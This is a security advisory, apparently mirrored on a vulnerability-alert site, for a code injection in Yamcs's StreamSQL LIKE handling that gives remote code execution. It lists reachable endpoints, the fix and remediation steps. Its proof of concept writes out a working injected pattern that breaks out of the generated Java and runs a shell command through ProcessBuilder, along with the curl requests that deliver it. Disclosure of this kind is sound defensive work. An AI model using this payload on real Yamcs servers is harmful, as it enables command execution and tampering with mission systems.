GHSA-c64q-hj4j-375f: Code Injection

Published Aug 28, 2026
·
Updated

Summary Yamcs compiles StreamSQL query expressions to Java at runtime with Janino. The LIKE operator inserts the user-supplied pattern into the generated Java unescaped, inside a "..." literal, so a pattern containing " breaks out and injects arbitrary Java (e.g. a static{} block that runs an OS command when the compiled filter class loads). Result: RCE as the OS user running Yamcs.

The pattern is embedded raw whether it comes from a SQL string literal or a bound ? argument, so the sink is reachable from any endpoint that builds a LIKE from user input, at routine read-only privileges, not just executeSql: - POST /api/archive/{instance}:executeSql and :streamSql (privilege ControlArchiving) - POST /api/archive/{instance}/tables/{table}:readRows via the query field (privilege ReadTables) - GET /api/archive/{instance}/events?q= and the event export/stream variants (privilege ReadEvents) - listActivities q (privilege ReadActivities)

The Events page search box feeds q directly.

Independent of the May-2026 algorithm-override RCEs (CVE-2026-46562/46621/44632): it needs none of ChangeMissionDatabase and is not affected by the overrideAlgorithmsEnabled gate.

Details - Sink: Expression#getCompiledExpression compiles generated source with SimpleCompiler.cook(...) (Expression.java:205) and instantiates it (Expression.java:213) at stream prep, before any tuple flows. - Injection: LikeExpression#fillCodegetValueReturn (LikeExpression.java:26) appends likeClause.pattern raw into Utils.like(<col>, "<pattern>"). The safe sibling ValueExpression escapes literals via escapeJavaString() (ValueExpression.java:82-85); a review of all 35 streamsql code-generators found LikeExpression to be the only unescaped one. - Grammar: SSTRING = "'" (~["'"]) "'" (StreamSql.jj:222) allows "; getNonEscapedString (StreamSql.jj:36) does not escape " or \. - Reachability: TableApi#executeSql (TableApi.java:399) checks only ControlArchiving, then passes the raw statement to ydb.createStatement(...). No SecurityManager or Janino sandbox is configured, so the compiled code can call Runtime/ProcessBuilder. :streamSql (TableApi.java:447) is equally affected. - The sink is reachable from several lower-privilege endpoints, not just executeSql. A LIKE pattern is embedded raw whether it comes from a SQL literal or a bound ? argument (nextArgAsString -> likeClause.pattern), so any endpoint building ... LIKE ? with attacker input also reaches it: - POST .../tables/{table}:readRows (TableApi.java:276, privilege ReadTables): the query and cols request fields are concatenated raw into the executed StreamSQL (sqlb.where(request.getQuery())). Verified RCE. - GET .../events?q= (listEvents, EventsApi.java:79/109) and exportEvents/streamEvents (EventsApi.java:290/344), privilege ReadEvents: body.message like ? with "%"+q+"%". Verified RCE. - listActivities (ActivitiesApi.java:86/113), privilege ReadActivities: detail like ? with "%"+q+"%". ReadTables/ReadEvents/ReadActivities are routine read-only permissions. The single escapeJavaString fix below closes all of these (one sink). The raw readRows WHERE/cols concatenation is an additional StreamSQL-injection that should be fixed independently (validate cols, do not accept a free-form query at ReadTables).

Proof of Concept Against a Yamcs server with security enabled (default HTTP port 8090), as a user holding only ControlArchiving.

bash BASE=http://<host>:8090 INSTANCE=<instance>

1. Get a token for a ControlArchiving user. TOK=$(curl -s -X POST "$BASE/auth/token" \ -d 'granttype=password&username=USER&password=PASS' \ | python3 -c 'import sys,json;print(json.load(sys.stdin)["accesstoken"])')

2. Create a table with a string column. curl -s -X POST "$BASE/api/archive/$INSTANCE:executeSql" \ -H "Authorization: Bearer $TOK" -H 'Content-Type: application/json' \ -d '{"statement":"create table demo(gentime timestamp, y string, primary key(gentime))"}'

3. Inject the LIKE pattern. It closes the generated Java string and method, adds a static{} initializer that runs an OS command, then reopens a dummy method so the generated class still compiles. PATTERN='a"); } static { try { new ProcessBuilder(new String[]{"/bin/sh","-c","id > /tmp/pwned"}).start().waitFor(); } catch (Exception e) {} } public Object dummy() { return Integer.valueOf("1' SQL="create stream pwn as select from demo where y like '$PATTERN'" curl -s -X POST "$BASE/api/archive/$INSTANCE:executeSql" \ -H "Authorization: Bearer $TOK" -H 'Content-Type: application/json' \ -d "$(python3 -c 'import sys,json;print(json.dumps({"statement":sys.argv[1]}))' "$SQL")"

4. Proof: the command ran as the Yamcs OS user (on the server host). cat /tmp/pwned # -> uid=...(...) A benign like 'abc%' does nothing; exploitation depends on the " break-out.

Impact Arbitrary OS command execution as the Yamcs user: telecommand injection/suppression, telemetry tampering, filesystem and credential/key access, lateral movement, persistence. The attacker needs only a read-only archive privilege, not an MDB/archive-control role: the sink is reachable via executeSql (ControlArchiving), readRows (ReadTables), the events list/export/stream endpoints (ReadEvents), and the activities listing (ReadActivities).

Exploitation via executeSql generates no Yamcs event and is not audit-logged (the created table/stream persist and the request may appear in an HTTP access log).

Remediation Escape the pattern like other literals, in LikeExpression.fillCodegetValueReturn: java code.append(", \""); ValueExpression.escapeJavaString(likeClause.pattern, code); // was: code.append(likeClause.pattern); code.append("\")"); Defence-in-depth: pass the pattern as a bound argument instead of inlining it; audit every cook() path; compile generated classes under a classloader that cannot reach Runtime/ProcessBuilder.

Affected Software

2 affected componentsFixes available
maven/org.yamcs:yamcs-core<=5.12.7
5.12.8
maven/org.yamcs:yamcs-core>=5.13.0<=5.13.1
5.13.2

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade maven/org.yamcs:yamcs-core to a version that resolves this vulnerability.

    Fixed in 5.12.8
  2. Upgrade

    Upgrade maven/org.yamcs:yamcs-core to a version that resolves this vulnerability.

    Fixed in 5.13.2
  3. Configuration

    Patch the StreamSQL code generator so LikeExpression escapes the LIKE pattern before embedding it into the generated Java string literal; apply the fix: `ValueExpression.escapeJavaString(likeClause.pattern, code); // was: code.append(likeClause.pattern);` (the issue is that the LIKE pattern is unescaped and can break out of the generated "..." literal).

    Yamcs StreamSQL generator (LikeExpression.java) escape of likeClause.pattern when generating Java source = Use ValueExpression.escapeJavaString(likeClause.pattern, code) instead of code.append(likeClause.pattern)
  4. Compensating control

    Harden StreamSQL runtime code compilation: compile generated classes in a classloader that cannot reach `Runtime`/`ProcessBuilder`, or otherwise add a sandbox/no-OS-access mechanism (the material notes no SecurityManager or Janino sandbox is configured, enabling OS command execution by compiled code).

  5. Compensating control

    Avoid embedding the LIKE pattern as raw in generated code; pass the pattern as a bound argument rather than inlining it in generated Java/SQL (defence-in-depth recommendation in the material).

  6. Operational

    After remediation, assume RCE may have occurred and the attacker’s impact may include tampering/persistence; review for created tables/streams and any artifacts such as `/tmp/pwned`, and rotate any credentials/keys that the Yamcs OS user may have accessed (the material explicitly states arbitrary filesystem and credential/key access and persistence).

Event History

Aug 28, 2026
Advisory Published
via GitHub·05:30 PM
Data Sourced
via GitHub·05:30 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Which users or interfaces can reach the vulnerable query path?

Any user able to submit a LIKE-based query through affected archive, table, event, or activity search endpoints can reach it. This includes users with ControlArchiving, ReadTables, ReadEvents, or ReadActivities privileges; the Events page search box sends its q parameter directly to the affected path.

2

Does exploitation require administrative or mission-database modification privileges?

No. The issue is reachable with routine read-only privileges and does not require ChangeMissionDatabase. It is independent of the May 2026 algorithm-override RCEs and does not depend on override-algorithm functionality.

3

What attacker-controlled input is required for exploitation?

An attacker needs to control a LIKE pattern containing a double quote character, allowing the pattern to escape the generated Java string literal. Both SQL string literals and bound ? arguments are embedded without escaping.

4

What is the impact if exploitation succeeds?

Injected Java is compiled and loaded at runtime, allowing arbitrary Java execution. The resulting operating-system command execution runs as the OS user that runs Yamcs.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203